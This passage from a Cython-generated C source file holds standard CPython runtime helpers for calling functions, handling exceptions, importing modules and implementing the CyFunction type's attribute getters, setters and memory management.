  4923. "NULL result without error in PyObject_Call");
  4924. }
  4925. return result;
  4926. }
  4927. #endif
  4928. /* PyObjectCallMethO */
  4929. #if CYTHON_COMPILING_IN_CPYTHON
  4930. static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) {
  4931. PyObject *self, *result;
  4932. PyCFunction cfunc;
  4933. cfunc = PyCFunction_GET_FUNCTION(func);
  4934. self = PyCFunction_GET_SELF(func);
  4935. if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object")))
  4936. return NULL;
  4937. result = cfunc(self, arg);
  4938. Py_LeaveRecursiveCall();
  4939. if (unlikely(!result) && unlikely(!PyErr_Occurred())) {
  4940. PyErr_SetString(
  4941. PyExc_SystemError,
  4942. "NULL result without error in PyObject_Call");
  4943. }
  4944. return result;
  4945. }
  4946. #endif
  4947. /* PyObjectCallOneArg */
  4948. #if CYTHON_COMPILING_IN_CPYTHON
  4949. static PyObject* __Pyx__PyObject_CallOneArg(PyObject *func, PyObject *arg) {
  4950. PyObject *result;
  4951. PyObject *args = PyTuple_New(1);
  4952. if (unlikely(!args)) return NULL;
  4953. Py_INCREF(arg);
  4954. PyTuple_SET_ITEM(args, 0, arg);
  4955. result = __Pyx_PyObject_Call(func, args, NULL);
  4956. Py_DECREF(args);
  4957. return result;
  4958. }
  4959. static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) {
  4960. #if CYTHON_FAST_PYCALL
  4961. if (PyFunction_Check(func)) {
  4962. return __Pyx_PyFunction_FastCall(func, &arg, 1);
  4963. }
  4964. #endif
  4965. if (likely(PyCFunction_Check(func))) {
  4966. if (likely(PyCFunction_GET_FLAGS(func) & METH_O)) {
  4967. return __Pyx_PyObject_CallMethO(func, arg);
  4968. #if CYTHON_FAST_PYCCALL
  4969. } else if (PyCFunction_GET_FLAGS(func) & METH_FASTCALL) {
  4970. return __Pyx_PyCFunction_FastCall(func, &arg, 1);
  4971. #endif
  4972. }
  4973. }
  4974. return __Pyx__PyObject_CallOneArg(func, arg);
  4975. }
  4976. #else
  4977. static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) {
  4978. PyObject *result;
  4979. PyObject *args = PyTuple_Pack(1, arg);
  4980. if (unlikely(!args)) return NULL;
  4981. result = __Pyx_PyObject_Call(func, args, NULL);
  4982. Py_DECREF(args);
  4983. return result;
  4984. }
  4985. #endif
  4986. /* SaveResetException */
  4987. #if CYTHON_FAST_THREAD_STATE
  4988. static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) {
  4989. *type = tstate->exc_type;
  4990. *value = tstate->exc_value;
  4991. *tb = tstate->exc_traceback;
  4992. Py_XINCREF(*type);
  4993. Py_XINCREF(*value);
  4994. Py_XINCREF(*tb);
  4995. }
  4996. static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) {
  4997. PyObject *tmp_type, *tmp_value, *tmp_tb;
  4998. tmp_type = tstate->exc_type;
  4999. tmp_value = tstate->exc_value;
  5000. tmp_tb = tstate->exc_traceback;
  5001. tstate->exc_type = type;
  5002. tstate->exc_value = value;
  5003. tstate->exc_traceback = tb;
  5004. Py_XDECREF(tmp_type);
  5005. Py_XDECREF(tmp_value);
  5006. Py_XDECREF(tmp_tb);
  5007. }
  5008. #endif
  5009. /* PyErrExceptionMatches */
  5010. #if CYTHON_FAST_THREAD_STATE
  5011. static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err) {
  5012. PyObject *exc_type = tstate->curexc_type;
  5013. if (exc_type == err) return 1;
  5014. if (unlikely(!exc_type)) return 0;
  5015. return PyErr_GivenExceptionMatches(exc_type, err);
  5016. }
  5017. #endif
  5018. /* GetException */
  5019. #if CYTHON_FAST_THREAD_STATE
  5020. static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) {
  5021. #else
  5022. static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb) {
  5023. #endif
  5024. PyObject *local_type, *local_value, *local_tb;
  5025. #if CYTHON_FAST_THREAD_STATE
  5026. PyObject *tmp_type, *tmp_value, *tmp_tb;
  5027. local_type = tstate->curexc_type;
  5028. local_value = tstate->curexc_value;
  5029. local_tb = tstate->curexc_traceback;
  5030. tstate->curexc_type = 0;
  5031. tstate->curexc_value = 0;
  5032. tstate->curexc_traceback = 0;
  5033. #else
  5034. PyErr_Fetch(&local_type, &local_value, &local_tb);
  5035. #endif
  5036. PyErr_NormalizeException(&local_type, &local_value, &local_tb);
  5037. #if CYTHON_FAST_THREAD_STATE
  5038. if (unlikely(tstate->curexc_type))
  5039. #else
  5040. if (unlikely(PyErr_Occurred()))
  5041. #endif
  5042. goto bad;
  5043. #if PY_MAJOR_VERSION >= 3
  5044. if (local_tb) {
  5045. if (unlikely(PyException_SetTraceback(local_value, local_tb) < 0))
  5046. goto bad;
  5047. }
  5048. #endif
  5049. Py_XINCREF(local_tb);
  5050. Py_XINCREF(local_type);
  5051. Py_XINCREF(local_value);
  5052. *type = local_type;
  5053. *value = local_value;
  5054. *tb = local_tb;
  5055. #if CYTHON_FAST_THREAD_STATE
  5056. tmp_type = tstate->exc_type;
  5057. tmp_value = tstate->exc_value;
  5058. tmp_tb = tstate->exc_traceback;
  5059. tstate->exc_type = local_type;
  5060. tstate->exc_value = local_value;
  5061. tstate->exc_traceback = local_tb;
  5062. Py_XDECREF(tmp_type);
  5063. Py_XDECREF(tmp_value);
  5064. Py_XDECREF(tmp_tb);
  5065. #else
  5066. PyErr_SetExcInfo(local_type, local_value, local_tb);
  5067. #endif
  5068. return 0;
  5069. bad:
  5070. *type = 0;
  5071. *value = 0;
  5072. *tb = 0;
  5073. Py_XDECREF(local_type);
  5074. Py_XDECREF(local_value);
  5075. Py_XDECREF(local_tb);
  5076. return -1;
  5077. }
  5078. /* None */
  5079. static CYTHON_INLINE void __Pyx_RaiseUnboundLocalError(const char *varname) {
  5080. PyErr_Format(PyExc_UnboundLocalError, "local variable '%s' referenced before assignment", varname);
  5081. }
  5082. /* PyObjectCallNoArg */
  5083. #if CYTHON_COMPILING_IN_CPYTHON
  5084. static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) {
  5085. #if CYTHON_FAST_PYCALL
  5086. if (PyFunction_Check(func)) {
  5087. return __Pyx_PyFunction_FastCall(func, NULL, 0);
  5088. }
  5089. #endif
  5090. #ifdef __Pyx_CyFunction_USED
  5091. if (likely(PyCFunction_Check(func) || PyObject_TypeCheck(func, __pyx_CyFunctionType))) {
  5092. #else
  5093. if (likely(PyCFunction_Check(func))) {
  5094. #endif
  5095. if (likely(PyCFunction_GET_FLAGS(func) & METH_NOARGS)) {
  5096. return __Pyx_PyObject_CallMethO(func, NULL);
  5097. }
  5098. }
  5099. return __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL);
  5100. }
  5101. #endif
  5102. /* RaiseTooManyValuesToUnpack */
  5103. static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected) {
  5104. PyErr_Format(PyExc_ValueError,
  5105. "too many values to unpack (expected %" CYTHON_FORMAT_SSIZE_T "d)", expected);
  5106. }
  5107. /* RaiseNeedMoreValuesToUnpack */
  5108. static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index) {
  5109. PyErr_Format(PyExc_ValueError,
  5110. "need more than %" CYTHON_FORMAT_SSIZE_T "d value%.1s to unpack",
  5111. index, (index == 1) ? "" : "s");
  5112. }
  5113. /* IterFinish */
  5114. static CYTHON_INLINE int __Pyx_IterFinish(void) {
  5115. #if CYTHON_FAST_THREAD_STATE
  5116. PyThreadState *tstate = PyThreadState_GET();
  5117. PyObject* exc_type = tstate->curexc_type;
  5118. if (unlikely(exc_type)) {
  5119. if (likely(exc_type == PyExc_StopIteration) || PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)) {
  5120. PyObject *exc_value, *exc_tb;
  5121. exc_value = tstate->curexc_value;
  5122. exc_tb = tstate->curexc_traceback;
  5123. tstate->curexc_type = 0;
  5124. tstate->curexc_value = 0;
  5125. tstate->curexc_traceback = 0;
  5126. Py_DECREF(exc_type);
  5127. Py_XDECREF(exc_value);
  5128. Py_XDECREF(exc_tb);
  5129. return 0;
  5130. } else {
  5131. return -1;
  5132. }
  5133. }
  5134. return 0;
  5135. #else
  5136. if (unlikely(PyErr_Occurred())) {
  5137. if (likely(PyErr_ExceptionMatches(PyExc_StopIteration))) {
  5138. PyErr_Clear();
  5139. return 0;
  5140. } else {
  5141. return -1;
  5142. }
  5143. }
  5144. return 0;
  5145. #endif
  5146. }
  5147. /* UnpackItemEndCheck */
  5148. static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected) {
  5149. if (unlikely(retval)) {
  5150. Py_DECREF(retval);
  5151. __Pyx_RaiseTooManyValuesError(expected);
  5152. return -1;
  5153. } else {
  5154. return __Pyx_IterFinish();
  5155. }
  5156. return 0;
  5157. }
  5158. /* Import */
  5159. static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) {
  5160. PyObject *empty_list = 0;
  5161. PyObject *module = 0;
  5162. PyObject *global_dict = 0;
  5163. PyObject *empty_dict = 0;
  5164. PyObject *list;
  5165. #if PY_VERSION_HEX < 0x03030000
  5166. PyObject *py_import;
  5167. py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import);
  5168. if (!py_import)
  5169. goto bad;
  5170. #endif
  5171. if (from_list)
  5172. list = from_list;
  5173. else {
  5174. empty_list = PyList_New(0);
  5175. if (!empty_list)
  5176. goto bad;
  5177. list = empty_list;
  5178. }
  5179. global_dict = PyModule_GetDict(__pyx_m);
  5180. if (!global_dict)
  5181. goto bad;
  5182. empty_dict = PyDict_New();
  5183. if (!empty_dict)
  5184. goto bad;
  5185. {
  5186. #if PY_MAJOR_VERSION >= 3
  5187. if (level == -1) {
  5188. if (strchr(__Pyx_MODULE_NAME, '.')) {
  5189. #if PY_VERSION_HEX < 0x03030000
  5190. PyObject *py_level = PyInt_FromLong(1);
  5191. if (!py_level)
  5192. goto bad;
  5193. module = PyObject_CallFunctionObjArgs(py_import,
  5194. name, global_dict, empty_dict, list, py_level, NULL);
  5195. Py_DECREF(py_level);
  5196. #else
  5197. module = PyImport_ImportModuleLevelObject(
  5198. name, global_dict, empty_dict, list, 1);
  5199. #endif
  5200. if (!module) {
  5201. if (!PyErr_ExceptionMatches(PyExc_ImportError))
  5202. goto bad;
  5203. PyErr_Clear();
  5204. }
  5205. }
  5206. level = 0;
  5207. }
  5208. #endif
  5209. if (!module) {
  5210. #if PY_VERSION_HEX < 0x03030000
  5211. PyObject *py_level = PyInt_FromLong(level);
  5212. if (!py_level)
  5213. goto bad;
  5214. module = PyObject_CallFunctionObjArgs(py_import,
  5215. name, global_dict, empty_dict, list, py_level, NULL);
  5216. Py_DECREF(py_level);
  5217. #else
  5218. module = PyImport_ImportModuleLevelObject(
  5219. name, global_dict, empty_dict, list, level);
  5220. #endif
  5221. }
  5222. }
  5223. bad:
  5224. #if PY_VERSION_HEX < 0x03030000
  5225. Py_XDECREF(py_import);
  5226. #endif
  5227. Py_XDECREF(empty_list);
  5228. Py_XDECREF(empty_dict);
  5229. return module;
  5230. }
  5231. /* ImportFrom */
  5232. static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) {
  5233. PyObject* value = __Pyx_PyObject_GetAttrStr(module, name);
  5234. if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) {
  5235. PyErr_Format(PyExc_ImportError,
  5236. #if PY_MAJOR_VERSION < 3
  5237. "cannot import name %.230s", PyString_AS_STRING(name));
  5238. #else
  5239. "cannot import name %S", name);
  5240. #endif
  5241. }
  5242. return value;
  5243. }
  5244. /* FetchCommonType */
  5245. static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) {
  5246. PyObject* fake_module;
  5247. PyTypeObject* cached_type = NULL;
  5248. fake_module = PyImport_AddModule((char*) "_cython_" CYTHON_ABI);
  5249. if (!fake_module) return NULL;
  5250. Py_INCREF(fake_module);
  5251. cached_type = (PyTypeObject*) PyObject_GetAttrString(fake_module, type->tp_name);
  5252. if (cached_type) {
  5253. if (!PyType_Check((PyObject*)cached_type)) {
  5254. PyErr_Format(PyExc_TypeError,
  5255. "Shared Cython type %.200s is not a type object",
  5256. type->tp_name);
  5257. goto bad;
  5258. }
  5259. if (cached_type->tp_basicsize != type->tp_basicsize) {
  5260. PyErr_Format(PyExc_TypeError,
  5261. "Shared Cython type %.200s has the wrong size, try recompiling",
  5262. type->tp_name);
  5263. goto bad;
  5264. }
  5265. } else {
  5266. if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad;
  5267. PyErr_Clear();
  5268. if (PyType_Ready(type) < 0) goto bad;
  5269. if (PyObject_SetAttrString(fake_module, type->tp_name, (PyObject*) type) < 0)
  5270. goto bad;
  5271. Py_INCREF(type);
  5272. cached_type = type;
  5273. }
  5274. done:
  5275. Py_DECREF(fake_module);
  5276. return cached_type;
  5277. bad:
  5278. Py_XDECREF(cached_type);
  5279. cached_type = NULL;
  5280. goto done;
  5281. }
  5282. /* CythonFunction */
  5283. static PyObject *
  5284. __Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, CYTHON_UNUSED void *closure)
  5285. {
  5286. if (unlikely(op->func_doc == NULL)) {
  5287. if (op->func.m_ml->ml_doc) {
  5288. #if PY_MAJOR_VERSION >= 3
  5289. op->func_doc = PyUnicode_FromString(op->func.m_ml->ml_doc);
  5290. #else
  5291. op->func_doc = PyString_FromString(op->func.m_ml->ml_doc);
  5292. #endif
  5293. if (unlikely(op->func_doc == NULL))
  5294. return NULL;
  5295. } else {
  5296. Py_INCREF(Py_None);
  5297. return Py_None;
  5298. }
  5299. }
  5300. Py_INCREF(op->func_doc);
  5301. return op->func_doc;
  5302. }
  5303. static int
  5304. __Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value)
  5305. {
  5306. PyObject *tmp = op->func_doc;
  5307. if (value == NULL) {
  5308. value = Py_None;
  5309. }
  5310. Py_INCREF(value);
  5311. op->func_doc = value;
  5312. Py_XDECREF(tmp);
  5313. return 0;
  5314. }
  5315. static PyObject *
  5316. __Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op)
  5317. {
  5318. if (unlikely(op->func_name == NULL)) {
  5319. #if PY_MAJOR_VERSION >= 3
  5320. op->func_name = PyUnicode_InternFromString(op->func.m_ml->ml_name);
  5321. #else
  5322. op->func_name = PyString_InternFromString(op->func.m_ml->ml_name);
  5323. #endif
  5324. if (unlikely(op->func_name == NULL))
  5325. return NULL;
  5326. }
  5327. Py_INCREF(op->func_name);
  5328. return op->func_name;
  5329. }
  5330. static int
  5331. __Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value)
  5332. {
  5333. PyObject *tmp;
  5334. #if PY_MAJOR_VERSION >= 3
  5335. if (unlikely(value == NULL || !PyUnicode_Check(value))) {
  5336. #else
  5337. if (unlikely(value == NULL || !PyString_Check(value))) {
  5338. #endif
  5339. PyErr_SetString(PyExc_TypeError,
  5340. "__name__ must be set to a string object");
  5341. return -1;
  5342. }
  5343. tmp = op->func_name;
  5344. Py_INCREF(value);
  5345. op->func_name = value;
  5346. Py_XDECREF(tmp);
  5347. return 0;
  5348. }
  5349. static PyObject *
  5350. __Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op)
  5351. {
  5352. Py_INCREF(op->func_qualname);
  5353. return op->func_qualname;
  5354. }
  5355. static int
  5356. __Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value)
  5357. {
  5358. PyObject *tmp;
  5359. #if PY_MAJOR_VERSION >= 3
  5360. if (unlikely(value == NULL || !PyUnicode_Check(value))) {
  5361. #else
  5362. if (unlikely(value == NULL || !PyString_Check(value))) {
  5363. #endif
  5364. PyErr_SetString(PyExc_TypeError,
  5365. "__qualname__ must be set to a string object");
  5366. return -1;
  5367. }
  5368. tmp = op->func_qualname;
  5369. Py_INCREF(value);
  5370. op->func_qualname = value;
  5371. Py_XDECREF(tmp);
  5372. return 0;
  5373. }
  5374. static PyObject *
  5375. __Pyx_CyFunction_get_self(__pyx_CyFunctionObject *m, CYTHON_UNUSED void *closure)
  5376. {
  5377. PyObject *self;
  5378. self = m->func_closure;
  5379. if (self == NULL)
  5380. self = Py_None;
  5381. Py_INCREF(self);
  5382. return self;
  5383. }
  5384. static PyObject *
  5385. __Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op)
  5386. {
  5387. if (unlikely(op->func_dict == NULL)) {
  5388. op->func_dict = PyDict_New();
  5389. if (unlikely(op->func_dict == NULL))
  5390. return NULL;
  5391. }
  5392. Py_INCREF(op->func_dict);
  5393. return op->func_dict;
  5394. }
  5395. static int
  5396. __Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value)
  5397. {
  5398. PyObject *tmp;
  5399. if (unlikely(value == NULL)) {
  5400. PyErr_SetString(PyExc_TypeError,
  5401. "function's dictionary may not be deleted");
  5402. return -1;
  5403. }
  5404. if (unlikely(!PyDict_Check(value))) {
  5405. PyErr_SetString(PyExc_TypeError,
  5406. "setting function's dictionary to a non-dict");
  5407. return -1;
  5408. }
  5409. tmp = op->func_dict;
  5410. Py_INCREF(value);
  5411. op->func_dict = value;
  5412. Py_XDECREF(tmp);
  5413. return 0;
  5414. }
  5415. static PyObject *
  5416. __Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op)
  5417. {
  5418. Py_INCREF(op->func_globals);
  5419. return op->func_globals;
  5420. }
  5421. static PyObject *
  5422. __Pyx_CyFunction_get_closure(CYTHON_UNUSED __pyx_CyFunctionObject *op)
  5423. {
  5424. Py_INCREF(Py_None);
  5425. return Py_None;
  5426. }
  5427. static PyObject *
  5428. __Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op)
  5429. {
  5430. PyObject* result = (op->func_code) ? op->func_code : Py_None;
  5431. Py_INCREF(result);
  5432. return result;
  5433. }
  5434. static int
  5435. __Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) {
  5436. int result = 0;
  5437. PyObject *res = op->defaults_getter((PyObject *) op);
  5438. if (unlikely(!res))
  5439. return -1;
  5440. #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS
  5441. op->defaults_tuple = PyTuple_GET_ITEM(res, 0);
  5442. Py_INCREF(op->defaults_tuple);
  5443. op->defaults_kwdict = PyTuple_GET_ITEM(res, 1);
  5444. Py_INCREF(op->defaults_kwdict);
  5445. #else
  5446. op->defaults_tuple = PySequence_ITEM(res, 0);
  5447. if (unlikely(!op->defaults_tuple)) result = -1;
  5448. else {
  5449. op->defaults_kwdict = PySequence_ITEM(res, 1);
  5450. if (unlikely(!op->defaults_kwdict)) result = -1;
  5451. }
  5452. #endif
  5453. Py_DECREF(res);
  5454. return result;
  5455. }
  5456. static int
  5457. __Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value) {
  5458. PyObject* tmp;
  5459. if (!value) {
  5460. value = Py_None;
  5461. } else if (value != Py_None && !PyTuple_Check(value)) {
  5462. PyErr_SetString(PyExc_TypeError,
  5463. "__defaults__ must be set to a tuple object");
  5464. return -1;
  5465. }
  5466. Py_INCREF(value);
  5467. tmp = op->defaults_tuple;
  5468. op->defaults_tuple = value;
  5469. Py_XDECREF(tmp);
  5470. return 0;
  5471. }
  5472. static PyObject *
  5473. __Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op) {
  5474. PyObject* result = op->defaults_tuple;
  5475. if (unlikely(!result)) {
  5476. if (op->defaults_getter) {
  5477. if (__Pyx_CyFunction_init_defaults(op) < 0) return NULL;
  5478. result = op->defaults_tuple;
  5479. } else {
  5480. result = Py_None;
  5481. }
  5482. }
  5483. Py_INCREF(result);
  5484. return result;
  5485. }
  5486. static int
  5487. __Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value) {
  5488. PyObject* tmp;
  5489. if (!value) {
  5490. value = Py_None;
  5491. } else if (value != Py_None && !PyDict_Check(value)) {
  5492. PyErr_SetString(PyExc_TypeError,
  5493. "__kwdefaults__ must be set to a dict object");
  5494. return -1;
  5495. }
  5496. Py_INCREF(value);
  5497. tmp = op->defaults_kwdict;
  5498. op->defaults_kwdict = value;
  5499. Py_XDECREF(tmp);
  5500. return 0;
  5501. }
  5502. static PyObject *
  5503. __Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op) {
  5504. PyObject* result = op->defaults_kwdict;
  5505. if (unlikely(!result)) {
  5506. if (op->defaults_getter) {
  5507. if (__Pyx_CyFunction_init_defaults(op) < 0) return NULL;
  5508. result = op->defaults_kwdict;
  5509. } else {
  5510. result = Py_None;
  5511. }
  5512. }
  5513. Py_INCREF(result);
  5514. return result;
  5515. }
  5516. static int
  5517. __Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value) {
  5518. PyObject* tmp;
  5519. if (!value || value == Py_None) {
  5520. value = NULL;
  5521. } else if (!PyDict_Check(value)) {
  5522. PyErr_SetString(PyExc_TypeError,
  5523. "__annotations__ must be set to a dict object");
  5524. return -1;
  5525. }
  5526. Py_XINCREF(value);
  5527. tmp = op->func_annotations;
  5528. op->func_annotations = value;
  5529. Py_XDECREF(tmp);
  5530. return 0;
  5531. }
  5532. static PyObject *
  5533. __Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op) {
  5534. PyObject* result = op->func_annotations;
  5535. if (unlikely(!result)) {
  5536. result = PyDict_New();
  5537. if (unlikely(!result)) return NULL;
  5538. op->func_annotations = result;
  5539. }
  5540. Py_INCREF(result);
  5541. return result;
  5542. }
  5543. static PyGetSetDef __pyx_CyFunction_getsets[] = {
  5544. {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0},
  5545. {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0},
  5546. {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0},
  5547. {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0},
  5548. {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0},
  5549. {(char *) "__self__", (getter)__Pyx_CyFunction_get_self, 0, 0, 0},
  5550. {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0},
  5551. {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0},
  5552. {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0},
  5553. {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0},
  5554. {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0},
  5555. {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0},
  5556. {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0},
  5557. {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0},
  5558. {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0},
  5559. {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0},
  5560. {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0},
  5561. {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0},
  5562. {0, 0, 0, 0, 0}
  5563. };
  5564. static PyMemberDef __pyx_CyFunction_members[] = {
  5565. {(char *) "__module__", T_OBJECT, offsetof(__pyx_CyFunctionObject, func.m_module), PY_WRITE_RESTRICTED, 0},
  5566. {0, 0, 0, 0, 0}
  5567. };
  5568. static PyObject *
  5569. __Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, CYTHON_UNUSED PyObject *args)
  5570. {
  5571. #if PY_MAJOR_VERSION >= 3
  5572. return PyUnicode_FromString(m->func.m_ml->ml_name);
  5573. #else
  5574. return PyString_FromString(m->func.m_ml->ml_name);
  5575. #endif
  5576. }
  5577. static PyMethodDef __pyx_CyFunction_methods[] = {
  5578. {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0},
  5579. {0, 0, 0, 0}
  5580. };
  5581. #if PY_VERSION_HEX < 0x030500A0
  5582. #define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist)
  5583. #else
  5584. #define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func.m_weakreflist)
  5585. #endif
  5586. static PyObject *__Pyx_CyFunction_New(PyTypeObject *type, PyMethodDef *ml, int flags, PyObject* qualname,
  5587. PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) {
  5588. __pyx_CyFunctionObject *op = PyObject_GC_New(__pyx_CyFunctionObject, type);
  5589. if (op == NULL)
  5590. return NULL;
  5591. op->flags = flags;
  5592. __Pyx_CyFunction_weakreflist(op) = NULL;
  5593. op->func.m_ml = ml;
  5594. op->func.m_self = (PyObject *) op;
  5595. Py_XINCREF(closure);
  5596. op->func_closure = closure;
  5597. Py_XINCREF(module);
  5598. op->func.m_module = module;
  5599. op->func_dict = NULL;
  5600. op->func_name = NULL;
  5601. Py_INCREF(qualname);
  5602. op->func_qualname = qualname;
  5603. op->func_doc = NULL;
  5604. op->func_classobj = NULL;
  5605. op->func_globals = globals;
  5606. Py_INCREF(op->func_globals);
  5607. Py_XINCREF(code);
  5608. op->func_code = code;
  5609. op->defaults_pyobjects = 0;
  5610. op->defaults = NULL;
  5611. op->defaults_tuple = NULL;
  5612. op->defaults_kwdict = NULL;
  5613. op->defaults_getter = NULL;
  5614. op->func_annotations = NULL;
  5615. PyObject_GC_Track(op);
  5616. return (PyObject *) op;
  5617. }
  5618. static int
  5619. __Pyx_CyFunction_clear(__pyx_CyFunctionObject *m)
  5620. {
  5621. Py_CLEAR(m->func_closure);
  5622. Py_CLEAR(m->func.m_module);
  5623. Py_CLEAR(m->func_dict);
  5624. Py_CLEAR(m->func_name);
  5625. Py_CLEAR(m->func_qualname);
  5626. Py_CLEAR(m->func_doc);
  5627. Py_CLEAR(m->func_globals);
  5628. Py_CLEAR(m->func_code);
  5629. Py_CLEAR(m->func_classobj);
  5630. Py_CLEAR(m->defaults_tuple);
  5631. Py_CLEAR(m->defaults_kwdict);
  5632. Py_CLEAR(m->func_annotations);
  5633. if (m->defaults) {
  5634. PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m);
  5635. int i;
  5636. for (i = 0; i < m->defaults_pyobjects; i++)
  5637. Py_XDECREF(pydefaults[i]);
  5638. PyObject_Free(m->defaults);
  5639. m->defaults = NULL;
  5640. }
  5641. return 0;
  5642. }
  5643. static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m)
  5644. {
  5645. PyObject_GC_UnTrack(m);
  5646. if (__Pyx_CyFunction_weakreflist(m) != NULL)
  5647. PyObject_ClearWeakRefs((PyObject *) m);
  5648. __Pyx_CyFunction_clear(m);
  5649. PyObject_GC_Del(m);
  5650. }
  5651. static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg)
  5652. {
  5653. Py_VISIT(m->func_closure);
  5654. Py_VISIT(m->func.m_module);
  5655. Py_VISIT(m->func_dict);
  5656. Py_VISIT(m->func_name);
  5657. Py_VISIT(m->func_qualname);
  5658. Py_VISIT(m->func_doc);
  5659. Py_VISIT(m->func_globals);
  5660. Py_VISIT(m->func_code);
  5661. Py_VISIT(m->func_classobj);
  5662. Py_VISIT(m->defaults_tuple);
  5663. Py_VISIT(m->defaults_kwdict);
  5664. if (m->defaults) {
  5665. PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m);
  5666. int i;
  5667. for (i = 0; i < m->defaults_pyobjects; i++)
  5668. Py_VISIT(pydefaults[i]);
  5669. }
  5670. return 0;
  5671. }
  5672. static PyObject *__Pyx_CyFunction_descr_get(PyObject *func, PyObject *obj, PyObject *type)
  5673. {
  5674. __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func;
  5675. if (m->flags & __Pyx_CYFUNCTION_STATICMETHOD) {
  5676. Py_INCREF(func);
  5677. return func;
  5678. }
  5679. if (m->flags & __Pyx_CYFUNCTION_CLASSMETHOD) {
  5680. if (type == NULL)
  5681. type = (PyObject *)(Py_TYPE(obj));
  5682. return __Pyx_PyMethod_New(func, type, (PyObject *)(Py_TYPE(type)));
  5683. }
  5684. if (obj == Py_None)
  5685. obj = NULL;
  5686. return __Pyx_PyMethod_New(func, obj, type);
  5687. }
  5688. static PyObject*
  5689. __Pyx_CyFunction_repr(__pyx_CyFunctionObject *op)
  5690. {
  5691. #if PY_MAJOR_VERSION >= 3
  5692. return PyUnicode_FromFormat("<cyfunction %U at %p>",
  5693. op->func_qualname, (void *)op);
  5694. #else
  5695. return PyString_FromFormat("<cyfunction %s at %p>",
  5696. PyString_AsString(op->func_qualname), (void *)op);
  5697. #endif
  5698. }
